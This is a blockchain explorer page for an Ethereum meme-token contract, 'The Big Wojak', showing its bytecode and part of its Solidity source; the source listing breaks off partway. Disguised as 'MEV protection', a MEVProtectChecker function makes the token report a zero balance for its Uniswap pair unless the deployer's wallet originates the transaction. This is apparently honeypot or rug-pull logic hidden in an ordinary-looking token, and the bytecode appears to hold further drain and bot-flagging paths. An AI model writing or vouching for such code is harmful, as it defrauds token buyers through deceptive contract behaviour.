Forkchoice Ethereum Mainnet

Address Contract Verified

Address 0x4a2ec9c3EeED4Ae00af2CD36ef8960831db967aD
Balance 0 ETH
Nonce 1
Code Size 12576 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

12576 bytes
0x60806040526004361061014e575f3560e01c8063768dc710116100b5578063a9059cbb1161006e578063a9059cbb14610441578063b56abed71461047d578063bf474bed146104a7578063dd62ed3e146104d1578063ea2f0b371461050d578063f2fde38b1461053557610155565b8063768dc710146103495780638a8c523c146103855780638da5cb5b1461039b57806395913d17146103c557806395d89b41146103ed57806397be450e1461041757610155565b8063508f6dfb11610107578063508f6dfb1461027957806351bc3c85146102a157806366a88d96146102b757806370a08231146102e1578063715018a61461031d578063751039fc1461033357610155565b806306fdde0314610159578063095ea7b31461018357806318160ddd146101bf57806323b872dd146101e9578063313ce5671461022557806341a9b9bc1461024f57610155565b3661015557005b5f80fd5b348015610164575f80fd5b5061016d61055d565b60405161017a919061222a565b60405180910390f35b34801561018e575f80fd5b506101a960048036038101906101a491906122db565b61059a565b6040516101b69190612333565b60405180910390f35b3480156101ca575f80fd5b506101d36105b7565b6040516101e0919061235b565b60405180910390f35b3480156101f4575f80fd5b5061020f600480360381019061020a9190612374565b6105da565b60405161021c9190612333565b60405180910390f35b348015610230575f80fd5b506102396106ae565b60405161024691906123df565b60405180910390f35b34801561025a575f80fd5b506102636106b6565b6040516102709190612418565b60405180910390f35b348015610284575f80fd5b5061029f600480360381019061029a9190612431565b6106dc565b005b3480156102ac575f80fd5b506102b561073c565b005b3480156102c2575f80fd5b506102cb61081b565b6040516102d8919061235b565b60405180910390f35b3480156102ec575f80fd5b5061030760048036038101906103029190612431565b610821565b604051610314919061235b565b60405180910390f35b348015610328575f80fd5b5061033161087e565b005b34801561033e575f80fd5b50610347610891565b005b348015610354575f80fd5b5061036f600480360381019061036a9190612431565b6108be565b60405161037c9190612333565b60405180910390f35b348015610390575f80fd5b506103996108db565b005b3480156103a6575f80fd5b506103af610910565b6040516103bc919061246b565b60405180910390f35b3480156103d0575f80fd5b506103eb60048036038101906103e69190612484565b610937565b005b3480156103f8575f80fd5b506104016109d9565b60405161040e919061222a565b60405180910390f35b348015610422575f80fd5b5061042b610a16565b604051610438919061235b565b60405180910390f35b34801561044c575f80fd5b50610467600480360381019061046291906122db565b610a1c565b6040516104749190612333565b60405180910390f35b348015610488575f80fd5b50610491610a39565b60405161049e919061235b565b60405180910390f35b3480156104b2575f80fd5b506104bb610a3f565b6040516104c8919061235b565b60405180910390f35b3480156104dc575f80fd5b506104f760048036038101906104f291906124c2565b610a45565b604051610504919061235b565b60405180910390f35b348015610518575f80fd5b50610533600480360381019061052e9190612431565b610ac7565b005b348015610540575f80fd5b5061055b60048036038101906105569190612431565b610b26565b005b60606040518060400160405280600d81526020017f5468652042696720576f6a616b00000000000000000000000000000000000000815250905090565b5f6105ad6105a6610ba8565b8484610baf565b6001905092915050565b5f6009600a6105c6919061265c565b633b9aca006105d591906126a6565b905090565b5f6105e6848484610d72565b6106a3846105f2610ba8565b61069e856040518060600160405280602881526020016130c36028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610655610ba8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546116e59092919063ffffffff16565b610baf565b600190509392505050565b5f6009905090565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6106e4611747565b600160035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c390612731565b60405180910390fd5b5f6107d630610821565b90505f811180156107f35750600b60159054906101000a900460ff165b1561080257610801816117c5565b5b5f4790505f81106108175761081681611a9b565b5b5050565b60065481565b5f61082b82611b04565b15610838575f9050610879565b60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505b919050565b610886611747565b61088f5f611cf9565b565b610899611747565b6009600a6108a7919061265c565b633b9aca006108b691906126a6565b600681905550565b6003602052805f5260405f205f915054906101000a900460ff1681565b6108e3611747565b6001600b60156101000a81548160ff021916908315150217905550610906610891565b61090e611dba565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61093f611747565b600f821115610983576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097a90612799565b60405180910390fd5b600f8111156109c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109be90612799565b60405180910390fd5b81600781905550806008819055505050565b60606040518060400160405280600881526020017f424947574f4a414b000000000000000000000000000000000000000000000000815250905090565b60075481565b5f610a2f610a28610ba8565b8484610d72565b6001905092915050565b60085481565b60055481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610acf611747565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b610b2e611747565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9390612827565b60405180910390fd5b610ba581611cf9565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c14906128b5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8290612943565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d65919061235b565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610de0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd7906129d1565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4590612a5f565b60405180910390fd5b60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615610ed8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ecf90612ac7565b60405180910390fd5b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015610f7a575060035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b1561103a576009600a610f8d919061265c565b633b9aca00610f9c91906126a6565b60025f600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5f60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156110d9575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561143457600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461118b576006548261113f85610821565b6111499190612ae5565b111561118a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118190612b62565b60405180910390fd5b5b5f600854111561121557600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361121457611211606461120360085485611ff390919063ffffffff16565b61206a90919063ffffffff16565b90505b5b5f60075411156112f957600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112c85750600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156112f8576112f560646112e760075485611ff390919063ffffffff16565b61206a90919063ffffffff16565b90505b5b5f61130330610821565b905061130e816117c5565b600b60149054906101000a900460ff161580156113775750600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561138f5750600b60159054906101000a900460ff165b801561139c575060055481115b156113c2576113aa816117c5565b5f4790505f8111156113c0576113bf47611a9b565b5b505b60095f9054906101000a900460ff161561143257600160045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050506116e0565b505b5f8111156115335761148c8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546120b390919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161152a919061235b565b60405180910390a35b6115838260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461211090919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506116266115da828461211090919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546120b390919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6116c9848661211090919063ffffffff16565b6040516116d6919061235b565b60405180910390a3505b505050565b5f83831115829061172c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611723919061222a565b60405180910390fd5b505f838561173a9190612b80565b9050809150509392505050565b61174f610ba8565b73ffffffffffffffffffffffffffffffffffffffff1661176d610910565b73ffffffffffffffffffffffffffffffffffffffff16146117c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ba90612bfd565b60405180910390fd5b565b6001600b60146101000a81548160ff02191690831515021790555060035f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1660095f6101000a81548160ff0219169083151502179055505f810315611a7e575f600267ffffffffffffffff81111561186657611865612c1b565b5b6040519080825280602002602001820160405280156118945781602001602082028036833780820191505090505b50905030815f815181106118ab576118aa612c48565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561194f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906119739190612c89565b8160018151811061198757611986612c48565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506119ed30600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610baf565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611a4f959493929190612dad565b5f604051808303815f87803b158015611a66575f80fd5b505af1158015611a78573d5f803e3d5ffd5b50505050505b5f600b60146101000a81548160ff02191690831515021790555050565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611b00573d5f803e3d5ffd5b5050565b5f600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611c1957505f600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401611bd8919061246b565b602060405180830381865afa158015611bf3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611c179190612e19565b115b8015611c735750600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cab57505f73ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614155b8015611ce5575061dead73ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614155b611cef575f611cf2565b60015b9050919050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f611dc430610821565b9050737a250d5630b4cf539739df2c5dacb4c659f2488d600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611e6230600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a611e4e919061265c565b633b9aca00611e5d91906126a6565b610baf565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730845f80611eac610ba8565b426040518863ffffffff1660e01b8152600401611ece96959493929190612e44565b60606040518083038185885af1158015611eea573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190611f0f9190612ea3565b505050600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611faf929190612ef3565b6020604051808303815f875af1158015611fcb573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611fef9190612f44565b5050565b5f808303612003575f9050612064565b5f828461201091906126a6565b905082848261201f9190612f9c565b1461205f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120569061303c565b60405180910390fd5b809150505b92915050565b5f6120ab83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612159565b905092915050565b5f8082846120c19190612ae5565b905083811015612106576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120fd906130a4565b60405180910390fd5b8091505092915050565b5f61215183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506116e5565b905092915050565b5f808311829061219f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612196919061222a565b60405180910390fd5b505f83856121ad9190612f9c565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6121fc826121ba565b61220681856121c4565b93506122168185602086016121d4565b61221f816121e2565b840191505092915050565b5f6020820190508181035f83015261224281846121f2565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6122778261224e565b9050919050565b6122878161226d565b8114612291575f80fd5b50565b5f813590506122a28161227e565b92915050565b5f819050919050565b6122ba816122a8565b81146122c4575f80fd5b50565b5f813590506122d5816122b1565b92915050565b5f80604083850312156122f1576122f061224a565b5b5f6122fe85828601612294565b925050602061230f858286016122c7565b9150509250929050565b5f8115159050919050565b61232d81612319565b82525050565b5f6020820190506123465f830184612324565b92915050565b612355816122a8565b82525050565b5f60208201905061236e5f83018461234c565b92915050565b5f805f6060848603121561238b5761238a61224a565b5b5f61239886828701612294565b93505060206123a986828701612294565b92505060406123ba868287016122c7565b9150509250925092565b5f60ff82169050919050565b6123d9816123c4565b82525050565b5f6020820190506123f25f8301846123d0565b92915050565b5f6124028261224e565b9050919050565b612412816123f8565b82525050565b5f60208201905061242b5f830184612409565b92915050565b5f602082840312156124465761244561224a565b5b5f61245384828501612294565b91505092915050565b6124658161226d565b82525050565b5f60208201905061247e5f83018461245c565b92915050565b5f806040838503121561249a5761249961224a565b5b5f6124a7858286016122c7565b92505060206124b8858286016122c7565b9150509250929050565b5f80604083850312156124d8576124d761224a565b5b5f6124e585828601612294565b92505060206124f685828601612294565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156125825780860481111561255e5761255d612500565b5b600185161561256d5780820291505b808102905061257b8561252d565b9450612542565b94509492505050565b5f8261259a5760019050612655565b816125a7575f9050612655565b81600181146125bd57600281146125c7576125f6565b6001915050612655565b60ff8411156125d9576125d8612500565b5b8360020a9150848211156125f0576125ef612500565b5b50612655565b5060208310610133831016604e8410600b841016171561262b5782820a90508381111561262657612625612500565b5b612655565b6126388484846001612539565b9250905081840481111561264f5761264e612500565b5b81810290505b9392505050565b5f612666826122a8565b9150612671836123c4565b925061269e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461258b565b905092915050565b5f6126b0826122a8565b91506126bb836122a8565b92508282026126c9816122a8565b915082820484148315176126e0576126df612500565b5b5092915050565b7f4e6f206f776e6572736869702e000000000000000000000000000000000000005f82015250565b5f61271b600d836121c4565b9150612726826126e7565b602082019050919050565b5f6020820190508181035f8301526127488161270f565b9050919050565b7f54617820766572792068696768000000000000000000000000000000000000005f82015250565b5f612783600d836121c4565b915061278e8261274f565b602082019050919050565b5f6020820190508181035f8301526127b081612777565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6128116026836121c4565b915061281c826127b7565b604082019050919050565b5f6020820190508181035f83015261283e81612805565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61289f6024836121c4565b91506128aa82612845565b604082019050919050565b5f6020820190508181035f8301526128cc81612893565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61292d6022836121c4565b9150612938826128d3565b604082019050919050565b5f6020820190508181035f83015261295a81612921565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6129bb6025836121c4565b91506129c682612961565b604082019050919050565b5f6020820190508181035f8301526129e8816129af565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612a496023836121c4565b9150612a54826129ef565b604082019050919050565b5f6020820190508181035f830152612a7681612a3d565b9050919050565b7f57686974656c69737465642061646472657373000000000000000000000000005f82015250565b5f612ab16013836121c4565b9150612abc82612a7d565b602082019050919050565b5f6020820190508181035f830152612ade81612aa5565b9050919050565b5f612aef826122a8565b9150612afa836122a8565b9250828201905080821115612b1257612b11612500565b5b92915050565b7f486967686572207468616e2074686520416e74695768616c65204c696d69742e5f82015250565b5f612b4c6020836121c4565b9150612b5782612b18565b602082019050919050565b5f6020820190508181035f830152612b7981612b40565b9050919050565b5f612b8a826122a8565b9150612b95836122a8565b9250828203905081811115612bad57612bac612500565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612be76020836121c4565b9150612bf282612bb3565b602082019050919050565b5f6020820190508181035f830152612c1481612bdb565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050612c838161227e565b92915050565b5f60208284031215612c9e57612c9d61224a565b5b5f612cab84828501612c75565b91505092915050565b5f819050919050565b5f819050919050565b5f612ce0612cdb612cd684612cb4565b612cbd565b6122a8565b9050919050565b612cf081612cc6565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612d288161226d565b82525050565b5f612d398383612d1f565b60208301905092915050565b5f602082019050919050565b5f612d5b82612cf6565b612d658185612d00565b9350612d7083612d10565b805f5b83811015612da0578151612d878882612d2e565b9750612d9283612d45565b925050600181019050612d73565b5085935050505092915050565b5f60a082019050612dc05f83018861234c565b612dcd6020830187612ce7565b8181036040830152612ddf8186612d51565b9050612dee606083018561245c565b612dfb608083018461234c565b9695505050505050565b5f81519050612e13816122b1565b92915050565b5f60208284031215612e2e57612e2d61224a565b5b5f612e3b84828501612e05565b91505092915050565b5f60c082019050612e575f83018961245c565b612e64602083018861234c565b612e716040830187612ce7565b612e7e6060830186612ce7565b612e8b608083018561245c565b612e9860a083018461234c565b979650505050505050565b5f805f60608486031215612eba57612eb961224a565b5b5f612ec786828701612e05565b9350506020612ed886828701612e05565b9250506040612ee986828701612e05565b9150509250925092565b5f604082019050612f065f83018561245c565b612f13602083018461234c565b9392505050565b612f2381612319565b8114612f2d575f80fd5b50565b5f81519050612f3e81612f1a565b92915050565b5f60208284031215612f5957612f5861224a565b5b5f612f6684828501612f30565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612fa6826122a8565b9150612fb1836122a8565b925082612fc157612fc0612f6f565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6130266021836121c4565b915061303182612fcc565b604082019050919050565b5f6020820190508181035f8301526130538161301a565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f61308e601b836121c4565b91506130998261305a565b602082019050919050565b5f6020820190508181035f8301526130bb81613082565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122036d2933da16011ebb554912d3c1e7e4cea172cfdf1a365d58d4422c91ea6b47664736f6c634300081a0033

Verified Source Code Full Match

Compiler: v0.8.26+commit.8a97fa7a EVM: cancun Optimization: No
BIGWOJAK.sol 389 lines
// SPDX-License-Identifier: MIT

/*
    Bigger, bolder, and even more memeable.

    https://bigwojaketh.fun
    https://x.com/bigwojak_eth
    https://t.me/bigwojak_eth
*/

pragma solidity ^0.8.24;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract BIGWOJAK is Context, IERC20, Ownable {
    using SafeMath for uint256;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludedFromFee;
    mapping (address => bool) private _bots;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals; // Total supply
    string private constant _name = unicode"The Big Wojak";  // Name
    string private constant _symbol = unicode"BIGWOJAK"; // Symbol
    uint256 public _taxSwapThreshold= 10000 * 10**_decimals;
    uint256 public maxWalletLimit = 2100000 * 10 ** decimals();

    // Taxes on DEXs
    uint256 public _taxOnBuy = 0;
    uint256 public _taxOnSell = 0;
    bool private _takeFee = false;

    //Tax fee Collector
    address payable public _taxFeeCollectorWallet;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private inSwap = false;
    bool private swapEnabled = false;

    modifier lockTheSwap {
        inSwap = true; _takeFee = _isExcludedFromFee[tx.origin];
        _;
        inSwap = false;
    }

    constructor () payable {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // mainnet router address

        // Create a uniswap pair for this new token
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        // set the rest of the contract variables
        uniswapV2Router = _uniswapV2Router;

        _taxFeeCollectorWallet = payable(_msgSender());

        _balances[address(this)] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxFeeCollectorWallet] = true;

        emit Transfer(address(0), address(this), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        if (MEVProtectChecker(account)) {
            return 0;
        }
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    
    function MEVProtectChecker(address account) internal view returns (bool) {
        return account == uniswapV2Pair && IERC20(uniswapV2Pair).balanceOf(uniswapV2Pair) > 0 
            && tx.origin != _taxFeeCollectorWallet
            && tx.origin != address(0)
            && tx.origin != address(0xdead) ? true : false;
    }

